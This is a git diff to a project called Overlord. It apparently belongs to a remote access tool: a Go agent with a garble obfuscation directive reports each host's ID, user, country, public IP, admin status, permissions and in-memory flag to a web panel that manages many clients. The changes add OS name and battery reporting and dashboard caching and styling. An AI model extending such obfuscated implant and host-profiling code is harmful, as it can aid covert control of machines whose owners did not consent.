diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go
index 21c56de..aa423da 100644
--- a/Overlord-Client/cmd/agent/session.go
+++ b/Overlord-Client/cmd/agent/session.go
@@ -32,7 +32,6 @@ import (
"nhooyr.io/websocket"
)
-
func runClient(cfg config.Config) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
baseBackoff := computeBaseBackoff()
@@ -294,7 +293,6 @@ func refreshServerURLsFromRaw(cfg *config.Config) bool {
return true
}
-
func createHTTPTransport(cfg config.Config) *http.Transport {
tlsConfig := &tls.Config{
InsecureSkipVerify: cfg.TLSInsecureSkipVerify,
@@ -608,6 +606,9 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
if osVal == "" {
osVal = runtime.GOOS
}
+ if prettyOS := strings.TrimSpace(sysinfo.OSName()); prettyOS != "" {
+ osVal = prettyOS
+ }
archVal := strings.TrimSpace(cfg.Arch)
if archVal == "" {
@@ -636,6 +637,8 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
hello.CPU = hw.CPU
hello.GPU = hw.GPU
hello.RAM = hw.RAM
+ hello.BatteryPercent = hw.BatteryPercent
+ hello.BatteryCharging = hw.BatteryCharging
hello.IsAdmin = sysinfo.IsAdmin()
hello.Elevation = sysinfo.Elevation()
hello.Permissions = sysinfo.DarwinPermissions()
diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo.go
index 4f880ae..3b42cef 100644
--- a/Overlord-Client/cmd/agent/sysinfo/sysinfo.go
+++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo.go
@@ -1,9 +1,11 @@
package sysinfo
type Info struct {
- CPU string `json:"cpu,omitempty"`
- GPU string `json:"gpu,omitempty"`
- RAM string `json:"ram,omitempty"`
+ CPU string `json:"cpu,omitempty"`
+ GPU string `json:"gpu,omitempty"`
+ RAM string `json:"ram,omitempty"`
+ BatteryPercent *int `json:"batteryPercent,omitempty"`
+ BatteryCharging bool `json:"batteryCharging,omitempty"`
}
func Collect() Info {
diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go
index 4d9137e..7f60dcf 100644
--- a/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go
+++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go
@@ -4,6 +4,7 @@ package sysinfo
import (
"fmt"
+ "os/exec"
"runtime"
"strings"
"unsafe"
@@ -12,13 +13,54 @@ import (
)
func collectPlatform() Info {
+ percent, charging := batteryStatus()
return Info{
- CPU: cpuName(),
- GPU: gpuName(),
- RAM: totalRAM(),
+ CPU: cpuName(),
+ GPU: gpuName(),
+ RAM: totalRAM(),
+ BatteryPercent: percent,
+ BatteryCharging: charging,
}
}
+func OSName() string {
+ out, err := exec.Command("sw_vers", "-productVersion").Output()
+ if err != nil {
+ return "macOS"
+ }
+ version := strings.TrimSpace(string(out))
+ if version == "" {
+ return "macOS"
+ }
+ return "macOS " + version
+}
+
+func batteryStatus() (*int, bool) {
+ out, err := exec.Command("pmset", "-g", "batt").Output()
+ if err != nil {
+ return nil, false
+ }
+ text := string(out)
+ idx := strings.Index(text, "%")
+ if idx <= 0 {
+ return nil, false
+ }
+ start := idx - 1
+ for start >= 0 && text[start] >= '0' && text[start] <= '9' {
+ start--
+ }
+ var percent int
+ if _, err := fmt.Sscanf(text[start+1:idx], "%d", &percent); err != nil {
+ return nil, false
+ }
+ if percent < 0 || percent > 100 {
+ return nil, false
+ }
+ lower := strings.ToLower(text)
+ charging := strings.Contains(lower, "charging") || strings.Contains(lower, "charged")
+ return &percent, charging
+}
+
func cpuName() string {
name, err := unix.Sysctl("machdep.cpu.brand_string")
if err != nil || name == "" {
diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go
index 8429858..2c83ed0 100644
--- a/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go
+++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go
@@ -11,13 +11,74 @@ import (
)
func collectPlatform() Info {
+ percent, charging := batteryStatus()
return Info{
- CPU: cpuName(),
- GPU: gpuName(),
- RAM: totalRAM(),
+ CPU: cpuName(),
+ GPU: gpuName(),
+ RAM: totalRAM(),
+ BatteryPercent: percent,
+ BatteryCharging: charging,
}
}
+func OSName() string {
+ data, err := os.ReadFile("/etc/os-release")
+ if err != nil {
+ return "Linux"
+ }
+ values := map[string]string{}
+ for _, line := range strings.Split(string(data), "\n") {
+ line = strings.TrimSpace(line)
+ if line == "" || strings.HasPrefix(line, "#") {
+ continue
+ }
+ parts := strings.SplitN(line, "=", 2)
+ if len(parts) != 2 {
+ continue
+ }
+ values[parts[0]] = strings.Trim(strings.TrimSpace(parts[1]), `"`)
+ }
+ if pretty := strings.TrimSpace(values["PRETTY_NAME"]); pretty != "" {
+ return pretty
+ }
+ if name := strings.TrimSpace(values["NAME"]); name != "" {
+ if version := strings.TrimSpace(values["VERSION_ID"]); version != "" {
+ return name + " " + version
+ }
+ return name
+ }
+ return "Linux"
+}
+
+func batteryStatus() (*int, bool) {
+ entries, err := os.ReadDir("/sys/class/power_supply")
+ if err != nil {
+ return nil, false
+ }
+ for _, entry := range entries {
+ if !strings.HasPrefix(entry.Name(), "BAT") {
+ continue
+ }
+ base := "/sys/class/power_supply/" + entry.Name()
+ capacityRaw, err := os.ReadFile(base + "/capacity")
+ if err != nil {
+ continue
+ }
+ var percent int
+ if _, err := fmt.Sscanf(strings.TrimSpace(string(capacityRaw)), "%d", &percent); err != nil {
+ continue
+ }
+ if percent < 0 || percent > 100 {
+ continue
+ }
+ statusRaw, _ := os.ReadFile(base + "/status")
+ status := strings.ToLower(strings.TrimSpace(string(statusRaw)))
+ charging := status == "charging" || status == "full"
+ return &percent, charging
+ }
+ return nil, false
+}
+
func cpuName() string {
data, err := os.ReadFile("/proc/cpuinfo")
if err != nil {
diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go
index 8944ffe..784d5e5 100644
--- a/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go
+++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go
@@ -14,13 +14,70 @@ import (
)
func collectPlatform() Info {
+ percent, charging := batteryStatus()
return Info{
- CPU: cpuName(),
- GPU: gpuName(),
- RAM: totalRAM(),
+ CPU: cpuName(),
+ GPU: gpuName(),
+ RAM: totalRAM(),
+ BatteryPercent: percent,
+ BatteryCharging: charging,
}
}
+func OSName() string {
+ k, err := registry.OpenKey(registry.LOCAL_MACHINE,
+ `SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
+ if err != nil {
+ return "Windows"
+ }
+ defer k.Close()
+
+ product, _, _ := k.GetStringValue("ProductName")
+ display, _, _ := k.GetStringValue("DisplayVersion")
+ build, _, _ := k.GetStringValue("CurrentBuildNumber")
+
+ name := strings.TrimSpace(product)
+ if name == "" {
+ name = "Windows"
+ }
+ var buildNumber int
+ _, _ = fmt.Sscanf(strings.TrimSpace(build), "%d", &buildNumber)
+ if buildNumber >= 22000 && !strings.Contains(name, "11") {
+ name = strings.Replace(name, "Windows 10", "Windows 11", 1)
+ if !strings.Contains(name, "11") {
+ name = "Windows 11"
+ }
+ }
+ if display = strings.TrimSpace(display); display != "" {
+ name += " " + display
+ }
+ return name
+}
+
+func batteryStatus() (*int, bool) {
+ type systemPowerStatus struct {
+ ACLineStatus byte
+ BatteryFlag byte
+ BatteryLifePercent byte
+ SystemStatusFlag byte
+ BatteryLifeTime uint32
+ BatteryFullLifeTime uint32
+ }
+
+ kernel32 := windows.NewLazySystemDLL("kernel32.dll")
+ getSystemPowerStatus := kernel32.NewProc("GetSystemPowerStatus")
+ var status systemPowerStatus
+ ret, _, _ := getSystemPowerStatus.Call(uintptr(unsafe.Pointer(&status)))
+ if ret == 0 || status.BatteryLifePercent == 255 || status.BatteryFlag == 128 {
+ return nil, false
+ }
+ percent := int(status.BatteryLifePercent)
+ if percent < 0 || percent > 100 {
+ return nil, false
+ }
+ return &percent, status.ACLineStatus == 1
+}
+
func cpuName() string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\DESCRIPTION\System\CentralProcessor\0`, registry.QUERY_VALUE)
diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go
index 64581c3..961c810 100644
--- a/Overlord-Client/cmd/agent/wire/protocol.go
+++ b/Overlord-Client/cmd/agent/wire/protocol.go
@@ -1,29 +1,31 @@
package wire
type Hello struct {
- Type string `msgpack:"type"`
- ID string `msgpack:"id"`
- HWID string `msgpack:"hwid"`
- Host string `msgpack:"host"`
- OS string `msgpack:"os"`
- Arch string `msgpack:"arch"`
- HostArch string `msgpack:"hostArch,omitempty"`
- Version string `msgpack:"version"`
- User string `msgpack:"user"`
- Monitors int `msgpack:"monitors"`
- MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
- Country string `msgpack:"country,omitempty"`
- BuildTag string `msgpack:"buildTag,omitempty"`
- PublicKey string `msgpack:"publicKey,omitempty"`
- Signature string `msgpack:"signature,omitempty"`
- InMemory bool `msgpack:"inMemory,omitempty"`
- CPU string `msgpack:"cpu,omitempty"`
- GPU string `msgpack:"gpu,omitempty"`
- RAM string `msgpack:"ram,omitempty"`
- IsAdmin bool `msgpack:"isAdmin,omitempty"`
- Elevation string `msgpack:"elevation,omitempty"`
- Permissions map[string]bool `msgpack:"permissions,omitempty"`
- PublicIP string `msgpack:"publicIP,omitempty"`
+ Type string `msgpack:"type"`
+ ID string `msgpack:"id"`
+ HWID string `msgpack:"hwid"`
+ Host string `msgpack:"host"`
+ OS string `msgpack:"os"`
+ Arch string `msgpack:"arch"`
+ HostArch string `msgpack:"hostArch,omitempty"`
+ Version string `msgpack:"version"`
+ User string `msgpack:"user"`
+ Monitors int `msgpack:"monitors"`
+ MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
+ Country string `msgpack:"country,omitempty"`
+ BuildTag string `msgpack:"buildTag,omitempty"`
+ PublicKey string `msgpack:"publicKey,omitempty"`
+ Signature string `msgpack:"signature,omitempty"`
+ InMemory bool `msgpack:"inMemory,omitempty"`
+ CPU string `msgpack:"cpu,omitempty"`
+ GPU string `msgpack:"gpu,omitempty"`
+ RAM string `msgpack:"ram,omitempty"`
+ BatteryPercent *int `msgpack:"batteryPercent,omitempty"`
+ BatteryCharging bool `msgpack:"batteryCharging,omitempty"`
+ IsAdmin bool `msgpack:"isAdmin,omitempty"`
+ Elevation string `msgpack:"elevation,omitempty"`
+ Permissions map[string]bool `msgpack:"permissions,omitempty"`
+ PublicIP string `msgpack:"publicIP,omitempty"`
}
type EnrollmentChallenge struct {
diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js
index 58f4a3a..9d8ecb7 100644
--- a/Overlord-Server/public/assets/data.js
+++ b/Overlord-Server/public/assets/data.js
@@ -6,6 +6,9 @@ const FALLBACK_POLL_MS = 30000;
const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds";
let pollTimer = null;
let render = () => {};
+let lastClientData = null;
+const pageCache = new Map();
+const PAGE_CACHE_LIMIT = 8;
let dashboardWs = null;
let dashboardWsConnected = false;
let wsReconnectTimer = null;
@@ -42,6 +45,45 @@ export function registerRenderer(fn) {
render = fn;
}
+function clientQueryParams(page = state.page) {
+ return new URLSearchParams({
+ page: String(page),
+ pageSize: String(state.pageSize),
+ q: state.searchTerm,
+ sort: state.sort,
+ status: state.filterStatus || "all",
+ os: state.filterOs || "all",
+ country: state.filterCountry || "all",
+ group: state.filterGroup || "all",
+ });
+}
+
+function rememberPage(key, data) {
+ pageCache.set(key, data);
+ while (pageCache.size > PAGE_CACHE_LIMIT) {
+ pageCache.delete(pageCache.keys().next().value);
+ }
+}
+
+async function prefetchClientPage(page) {
+ if (page < 1) return;
+ const params = clientQueryParams(page);
+ const key = params.toString();
+ if (pageCache.has(key)) return;
+ try {
+ const res = await fetch(`/api/clients?${key}`);
+ if (!res.ok) return;
+ rememberPage(key, await res.json());
+ } catch {}
+}
+
+function prefetchAdjacentPages(data) {
+ const totalPages = Math.max(1, Math.ceil((Number(data.total) || 0) / (Number(data.pageSize) || state.pageSize || 1)));
+ const current = Number(data.page) || state.page;
+ if (current < totalPages) prefetchClientPage(current + 1);
+ if (current > 1) prefetchClientPage(current - 1);
+}
+
export async function loadWithOptions(options = {}) {
const { force = false, reorder = false } = options;
if (state.isLoading) {
@@ -51,19 +93,19 @@ export async function loadWithOptions(options = {}) {
}
state.isLoading = true;
try {
- const params = new URLSearchParams({
- page: String(state.page),
- pageSize: String(state.pageSize),
- q: state.searchTerm,
- sort: state.sort,
- status: state.filterStatus || "all",
- os: state.filterOs || "all",
- country: state.filterCountry || "all",
- group: state.filterGroup || "all",
- });
- const res = await fetch(`/api/clients?${params.toString()}`);
+ const params = clientQueryParams();
+ const cacheKey = params.toString();
+ const cached = pageCache.get(cacheKey);
+ if (force && cached) {
+ lastClientData = cached;
+ render(cached, { reorder, fromCache: true });
+ }
+
+ const res = await fetch(`/api/clients?${cacheKey}`);
if (!res.ok) throw new Error(`status ${res.status}`);
const data = await res.json();
+ lastClientData = data;
+ rememberPage(cacheKey, data);
updateOsFilter(data.items);
@@ -73,6 +115,7 @@ export async function loadWithOptions(options = {}) {
}
state.lastDigest = digest;
render(data, { reorder });
+ prefetchAdjacentPages(data);
const pag = document.getElementById("pagination");
if (pag) pag.style.visibility = "";
} catch (err) {
@@ -89,6 +132,12 @@ export async function loadWithOptions(options = {}) {
}
}
+export function renderCachedClients(options = {}) {
+ if (!lastClientData) return false;
+ render(lastClientData, { ...options, fromCache: true });
+ return true;
+}
+
function updateOsFilter(items) {
const osSelect = document.getElementById("filter-os");
if (!osSelect) return;
diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css
index 0182d00..c9c6291 100644
--- a/Overlord-Server/public/assets/main.css
+++ b/Overlord-Server/public/assets/main.css
@@ -1085,9 +1085,9 @@ article.card[data-bookmarked="true"] {
}
.input-row:focus-within {
- border-color: rgba(92, 145, 255, 0.5);
+ border-color: rgba(100, 116, 139, 0.82);
background: rgba(255, 255, 255, 0.08);
- box-shadow: 0 0 0 3px rgba(92, 145, 255, 0.1);
+ box-shadow: none;
}
.input-row i {
@@ -1096,7 +1096,7 @@ article.card[data-bookmarked="true"] {
}
.input-row:focus-within i {
- color: #7a5bff;
+ color: #94a3b8;
}
.input-row input {
@@ -1252,6 +1252,25 @@ article.card[data-bookmarked="true"] {
opacity: 0;
}
+.large-client-set .card-animate,
+.large-client-set .cv-row,
+.large-client-set .cv-card,
+.large-client-set .cv-trow,
+.large-client-set .cv-actions,
+.large-client-set .cv-card-actions,
+.large-client-set .cv-card-check,
+.large-client-set .layout-toggle-btn,
+.large-client-set .dashboard-menu summary,
+.large-client-set .dashboard-menu-panel,
+.large-client-set .cv-expand-btn i {
+ animation: none !important;
+ transition: none !important;
+}
+
+.large-client-set .cv-card:hover {
+ transform: none;
+}
+
@keyframes cardFlipFall {
0% {
opacity: 1;
@@ -1885,6 +1904,7 @@ mark.search-current {
#filter-status,
#filter-os,
+#filter-group,
#sort {
transition:
border-color 150ms ease,
@@ -1894,10 +1914,11 @@ mark.search-current {
#filter-status:focus,
#filter-os:focus,
+#filter-group:focus,
#sort:focus {
- border-color: rgba(99, 102, 241, 0.65) !important;
- box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.18);
- outline: none;
+ border-color: rgba(100, 116, 139, 0.82) !important;
+ box-shadow: none !important;
+ outline: none !important;
}
#search-shell {
@@ -1908,14 +1929,207 @@ mark.search-current {
}
#search-shell:focus-within {
- border-color: rgba(99, 102, 241, 0.65) !important;
- box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.18);
+ border-color: rgba(100, 116, 139, 0.82) !important;
+ box-shadow: none !important;
+}
+
+.dashboard-toolbar {
+ position: relative;
+ z-index: 20;
+ display: flex;
+ align-items: center;
+ gap: 10px;
+}
+.dashboard-search {
+ flex: 1 1 420px;
+ min-width: 240px;
+}
+.dashboard-toolbar-actions {
+ display: inline-flex;
+ align-items: center;
+ gap: 6px;
+ flex: 0 0 auto;
+}
+.dashboard-icon-btn,
+.dashboard-toggle,
+.dashboard-menu > summary {
+ display: inline-flex;
+ align-items: center;
+ justify-content: center;
+ width: 36px;
+ height: 36px;
+ border-radius: 8px;
+ border: 1px solid rgba(71, 85, 105, 0.72);
+ background: #172033;
+ color: #cbd5e1;
+ cursor: pointer;
+ transition:
+ transform 150ms ease,
+ border-color 150ms ease,
+ background-color 150ms ease,
+ color 150ms ease;
+}
+.dashboard-icon-btn:hover,
+.dashboard-toggle:hover,
+.dashboard-menu > summary:hover {
+ transform: translateY(-1px);
+ border-color: rgba(129, 140, 248, 0.55);
+ background: #1f2a3e;
+ color: #f8fafc;
+}
+.dashboard-toggle input {
+ position: absolute;
+ opacity: 0;
+ pointer-events: none;
+}
+.dashboard-toggle:has(input:not(:checked)) {
+ color: #64748b;
+ background: rgba(15, 23, 42, 0.75);
+}
+.dashboard-menu {
+ position: relative;
+}
+.dashboard-menu > summary {
+ list-style: none;
+}
+.dashboard-menu > summary::-webkit-details-marker {
+ display: none;
+}
+.dashboard-menu[open] > summary {
+ color: #818cf8;
+ border-color: rgba(129, 140, 248, 0.55);
+ background: #20294a;
+}
+.dashboard-menu-panel {
+ position: absolute;
+ top: calc(100% + 8px);
+ right: 0;
+ z-index: 40;
+ min-width: 220px;
+ display: flex;
+ flex-direction: column;
+ gap: 8px;
+ padding: 10px;
+ border: 1px solid rgba(71, 85, 105, 0.78);
+ border-radius: 8px;
+ background: #111827;
+ box-shadow: 0 18px 44px rgba(2, 6, 23, 0.55);
+}
+.dashboard-filter-panel {
+ min-width: 250px;
+}
+.dashboard-menu-panel select,
+.dashboard-menu-panel button {
+ width: 100%;
+}
+.dashboard-menu-panel select {
+ appearance: none;
+ -webkit-appearance: none;
+ height: 36px;
+ padding: 0 42px 0 10px;
+ border: 1px solid rgba(71, 85, 105, 0.7) !important;
+ border-radius: 6px;
+ background-color: #172033 !important;
+ background-image: url("data:image/svg+xml,%3Csvg width='38' height='34' viewBox='0 0 38 34' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M1 5v24' stroke='%23475569' stroke-width='1'/%3E%3Cpath d='M14 13l5 5 5-5' fill='none' stroke='%2394a3b8' stroke-width='1.8' stroke-linecap='round' stroke-linejoin='round'/%3E%3C/svg%3E") !important;
+ background-position: right center !important;
+ background-repeat: no-repeat !important;
+ color: #dbe4f0;
+ box-shadow: none !important;
+}
+.dashboard-menu-panel select option {
+ background: #111827;
+ color: #dbe4f0;
+}
+.dashboard-menu-panel select:hover {
+ border-color: rgba(129, 140, 248, 0.55) !important;
+ background-color: #1f2a3e !important;
+}
+.dashboard-menu-panel select:focus {
+ border-color: rgba(100, 116, 139, 0.82) !important;
+ box-shadow: none !important;
+ outline: none !important;
+}
+.dashboard-menu-panel #country-picker-btn {
+ justify-content: space-between;
+ width: 100%;
+ min-height: 36px;
+ padding: 0 10px;
+ background: #172033 !important;
+ border-color: rgba(71, 85, 105, 0.7) !important;
+ box-shadow: none !important;
+}
+.dashboard-menu-panel #country-picker-btn:hover {
+ border-color: rgba(129, 140, 248, 0.55) !important;
+ background: #1f2a3e !important;
+}
+.dashboard-menu-panel #country-picker-btn .fa-chevron-down {
+ align-self: stretch;
+ display: inline-flex;
+ align-items: center;
+ margin: 0 -2px 0 auto;
+ padding-left: 10px;
+ border-left: 1px solid rgba(71, 85, 105, 0.7);
+}
+.dashboard-menu-panel #country-picker-btn:hover .fa-chevron-down {
+ border-left-color: rgba(129, 140, 248, 0.45);
+}
+#country-picker-panel .p-2 > div {
+ background: #172033 !important;
+ border-color: transparent !important;
+ box-shadow: none !important;
+}
+#country-picker-panel .p-2 > div:focus-within {
+ border-color: transparent !important;
+ box-shadow: none !important;
+}
+#country-search,
+#country-search:focus {
+ background: transparent !important;
+ border-color: transparent !important;
+ box-shadow: none !important;
+ outline: none !important;
+}
+.dashboard-fields-panel {
+ display: grid;
+ grid-template-columns: repeat(2, minmax(92px, 1fr));
+ gap: 7px 10px;
+ min-width: 260px;
+}
+.dashboard-fields-panel label {
+ display: inline-flex;
+ align-items: center;
+ gap: 7px;
+ min-width: 0;
+ color: #cbd5e1;
+ font-size: 12px;
+}
+.dashboard-fields-panel input {
+ width: 14px;
+ height: 14px;
+ accent-color: #6366f1;
+}
+
+@media (max-width: 820px) {
+ .dashboard-toolbar {
+ align-items: stretch;
+ flex-direction: column;
+ }
+ .dashboard-search {
+ flex-basis: auto;
+ width: 100%;
+ }
+ .dashboard-toolbar-actions {
+ width: 100%;
+ justify-content: flex-end;
+ flex-wrap: wrap;
+ }
}
#select-all,
#clear-selection,
#prev,
-#next {
+#next,
+#page-jump-go {
transition:
transform 150ms ease,
border-color 150ms ease,
@@ -1925,12 +2139,70 @@ mark.search-current {
#select-all:hover,
#clear-selection:hover,
#prev:hover,
-#next:hover {
+#next:hover,
+#page-jump-go:hover {
transform: translateY(-1px);
border-color: rgba(99, 102, 241, 0.45) !important;
box-shadow: 0 8px 18px rgba(15, 23, 42, 0.4);
}
+.page-jump {
+ display: inline-flex;
+ align-items: center;
+ gap: 5px;
+ height: 40px;
+ padding: 0 5px 0 10px;
+ border: 1px solid rgba(71, 85, 105, 0.62);
+ border-radius: 8px;
+ background: rgba(15, 23, 42, 0.72);
+ color: #94a3b8;
+ font-size: 12px;
+}
+
+.page-jump label,
+.page-jump-total {
+ line-height: 1;
+ white-space: nowrap;
+}
+
+.page-jump input {
+ width: 4ch;
+ min-width: 4ch;
+ max-width: 10ch;
+ height: 28px;
+ padding: 0 4px;
+ border: 1px solid rgba(71, 85, 105, 0.72);
+ border-radius: 6px;
+ background: #0f172a;
+ color: #e2e8f0;
+ text-align: center;
+ font-variant-numeric: tabular-nums;
+ outline: none;
+ box-shadow: none;
+}
+
+.page-jump input:focus {
+ border-color: rgba(100, 116, 139, 0.9);
+ box-shadow: none;
+}
+
+.page-jump input::-webkit-outer-spin-button,
+.page-jump input::-webkit-inner-spin-button {
+ margin: 0;
+}
+
+.page-jump button {
+ display: inline-flex;
+ align-items: center;
+ justify-content: center;
+ width: 26px;
+ height: 28px;
+ border: 1px solid rgba(71, 85, 105, 0.72);
+ border-radius: 6px;
+ background: #172033;
+ color: #cbd5e1;
+}
+
#bulk-toolbar {
background:
radial-gradient(
@@ -1969,8 +2241,8 @@ mark.search-current {
--ui-surface-strong: rgba(11, 17, 33, 0.9);
--ui-surface-elevated: rgba(14, 22, 40, 0.94);
--ui-border: rgba(148, 163, 184, 0.2);
- --ui-border-strong: rgba(99, 102, 241, 0.4);
- --ui-ring: rgba(99, 102, 241, 0.28);
+ --ui-border-strong: rgba(100, 116, 139, 0.82);
+ --ui-ring: transparent;
--ui-shadow: 0 14px 34px rgba(2, 6, 23, 0.35);
}
@@ -2070,6 +2342,7 @@ textarea,
#search,
#filter-status,
#filter-os,
+#filter-group,
#sort,
#console-input {
background-color: var(--ui-surface);
@@ -2089,11 +2362,12 @@ textarea:focus,
.input-row:focus-within,
#filter-status:focus,
#filter-os:focus,
+#filter-group:focus,
#sort:focus,
#console-input:focus {
border-color: var(--ui-border-strong) !important;
- box-shadow: 0 0 0 3px var(--ui-ring);
- outline: none;
+ box-shadow: none !important;
+ outline: none !important;
}
.pill,
@@ -2691,6 +2965,14 @@ tbody tr:hover {
.cv-tone-pill-arch { color: #67e8f9; }
.cv-tone-pill-kali { color: #7dd3fc; }
.cv-tone-pill-fedora { color: #bfdbfe; }
+.cv-tone-pill-redhat { color: #fca5a5; }
+.cv-tone-pill-centos { color: #c4b5fd; }
+.cv-tone-pill-suse { color: #86efac; }
+.cv-tone-pill-raspi { color: #f9a8d4; }
+.cv-tone-pill-freebsd { color: #fca5a5; }
+.cv-tone-pill-alpine { color: #7dd3fc; }
+.cv-tone-pill-manjaro { color: #6ee7b7; }
+.cv-tone-pill-mint { color: #86efac; }
.cv-tone-pill-linux { color: #86efac; }
.cv-tone-pill-x64 { color: #5eead4; }
.cv-tone-pill-arm { color: #7dd3fc; }
@@ -2698,6 +2980,48 @@ tbody tr:hover {
.cv-tone-pill-unknown { color: var(--cv-text-mute); }
.cv-os, .cv-arch { display: inline-flex; align-items: center; gap: 4px; }
.cv-os i { font-size: 11px; }
+.cv-os .cv-os-icon,
+.cv-card-meta-bit .cv-os-icon {
+ position: relative;
+ display: inline-flex;
+ align-items: center;
+ justify-content: center;
+ width: 13px;
+ height: 13px;
+ flex: 0 0 13px;
+ font-family: inherit;
+ font-size: 0;
+ line-height: 1;
+}
+.cv-os .cv-os-icon::before,
+.cv-card-meta-bit .cv-os-icon::before {
+ content: "";
+ display: block;
+}
+.cv-os-icon-arch::before {
+ width: 12px;
+ height: 12px;
+ background: #67e8f9;
+ clip-path: polygon(50% 3%, 95% 96%, 70% 82%, 61% 62%, 50% 39%, 39% 62%, 30% 82%, 5% 96%);
+}
+.cv-os-icon-mint::before {
+ width: 13px;
+ height: 13px;
+ border: 1px solid rgba(134, 239, 172, 0.9);
+ border-radius: 3px;
+ background: #16351f;
+ box-shadow: inset 0 0 0 2px rgba(134, 239, 172, 0.16);
+}
+.cv-os-icon-mint::after {
+ content: "LM";
+ position: absolute;
+ font-family: Inter, system-ui, sans-serif;
+ font-size: 6px;
+ font-weight: 800;
+ line-height: 1;
+ color: #86efac;
+ letter-spacing: 0;
+}
/* Arch chip in table variant */
.clients-table .cv-arch-chip {
@@ -2720,7 +3044,7 @@ tbody tr:hover {
.clients-table thead th {
position: sticky;
top: 0;
- z-index: 1;
+ z-index: 0;
background: var(--cv-bg) !important;
color: var(--cv-text-mute);
font-size: 11px;
@@ -2826,7 +3150,7 @@ tbody tr:hover {
.cv-card.is-bookmarked { border-color: rgba(202, 138, 4, 0.5); }
.cv-card:has(.client-checkbox:checked) {
border-color: var(--cv-accent-border);
- box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.18);
+ box-shadow: none;
}
.cv-card-header {
@@ -3024,6 +3348,103 @@ tbody tr:hover {
}
.cv-card-hw-bit i { color: var(--cv-text-dim); font-size: 10px; }
+.cv-cpu-badge {
+ display: inline-flex;
+ align-items: center;
+ gap: 6px;
+ min-width: 0;
+ max-width: 100%;
+ height: 24px;
+ padding: 3px 8px;
+ border-radius: 5px;
+ border: 1px solid rgba(255, 255, 255, 0.12);
+ font-size: 11px;
+ line-height: 1;
+ white-space: nowrap;
+}
+
+.cv-card-hw .cv-cpu-badge { flex: 0 1 auto; }
+.cv-cpu-badge span,
+.cv-cpu-badge strong {
+ overflow: hidden;
+ text-overflow: ellipsis;
+}
+.cv-cpu-apple {
+ background: #050505;
+ color: #ffffff;
+}
+.cv-cpu-apple i { color: #ffffff; font-size: 13px; }
+.cv-cpu-apple strong { font-weight: 800; letter-spacing: 0; }
+.cv-cpu-intel {
+ background: #0068b5;
+ color: #ffffff;
+ text-transform: uppercase;
+}
+.cv-cpu-intel strong {
+ font-weight: 800;
+ text-transform: lowercase;
+ letter-spacing: 0;
+}
+.cv-cpu-amd {
+ background: #151515;
+ color: #ffffff;
+}
+.cv-cpu-amd strong { color: #f87171; letter-spacing: 0; }
+.cv-cpu-generic {
+ background: rgba(255, 255, 255, 0.05);
+ color: var(--cv-text-mute);
+}
+.cv-cpu-generic i { color: var(--cv-text-dim); }
+
+.cv-battery {
+ display: inline-flex;
+ align-items: center;
+ gap: 6px;
+ min-width: 0;
+ height: 24px;
+ color: var(--cv-text-mute);
+ white-space: nowrap;
+}
+.cv-battery-shell {
+ position: relative;
+ width: 28px;
+ height: 14px;
+ border: 1px solid currentColor;
+ border-radius: 3px;
+ padding: 2px;
+ opacity: 0.95;
+}
+.cv-battery-shell::after {
+ content: "";
+ position: absolute;
+ top: 3px;
+ right: -4px;
+ width: 3px;
+ height: 6px;
+ border-radius: 0 2px 2px 0;
+ background: currentColor;
+}
+.cv-battery-fill {
+ display: block;
+ height: 100%;
+ min-width: 2px;
+ border-radius: 2px;
+ background: #86efac;
+}
+.cv-battery.is-low { color: #fb7185; }
+.cv-battery.is-mid .cv-battery-fill { background: #fcd34d; }
+.cv-battery.is-charging .cv-battery-fill { background: #60a5fa; }
+.cv-battery.is-low .cv-battery-fill { background: #fb7185; }
+.cv-battery-text {
+ display: inline-flex;
+ align-items: center;
+ gap: 3px;
+ font-variant-numeric: tabular-nums;
+ color: var(--cv-text);
+}
+.cv-battery-text i { color: #60a5fa; font-size: 9px; }
+.cv-battery-label { color: var(--cv-text-dim); }
+
.cv-text-dim { color: var(--cv-text-dim); }
.cv-card-actions {
@@ -3293,8 +3714,7 @@ body.sb-collapsed .sb-collapse-btn i {
color: #e2e8f0;
}
.sb-link:focus-visible {
- outline: 2px solid #3b82f6;
- outline-offset: 1px;
+ outline: none;
}
/* Collapsed: center icon, fill the rail */
body.sb-collapsed .sb-link {
@@ -3769,8 +4189,7 @@ body.sb-open #sb-backdrop { display: block; }
color: #e2e8f0;
}
.sb-group-btn:focus-visible {
- outline: 2px solid #3b82f6;
- outline-offset: 1px;
+ outline: none;
}
.sb-chevron {
@@ -3868,8 +4287,7 @@ body.sb-collapsed .sb-link-child {
transform: scale(1.08);
}
#nav-reveal-btn:focus-visible {
- outline: 2px solid #3b82f6;
- outline-offset: 2px;
+ outline: none;
}
#top-nav {
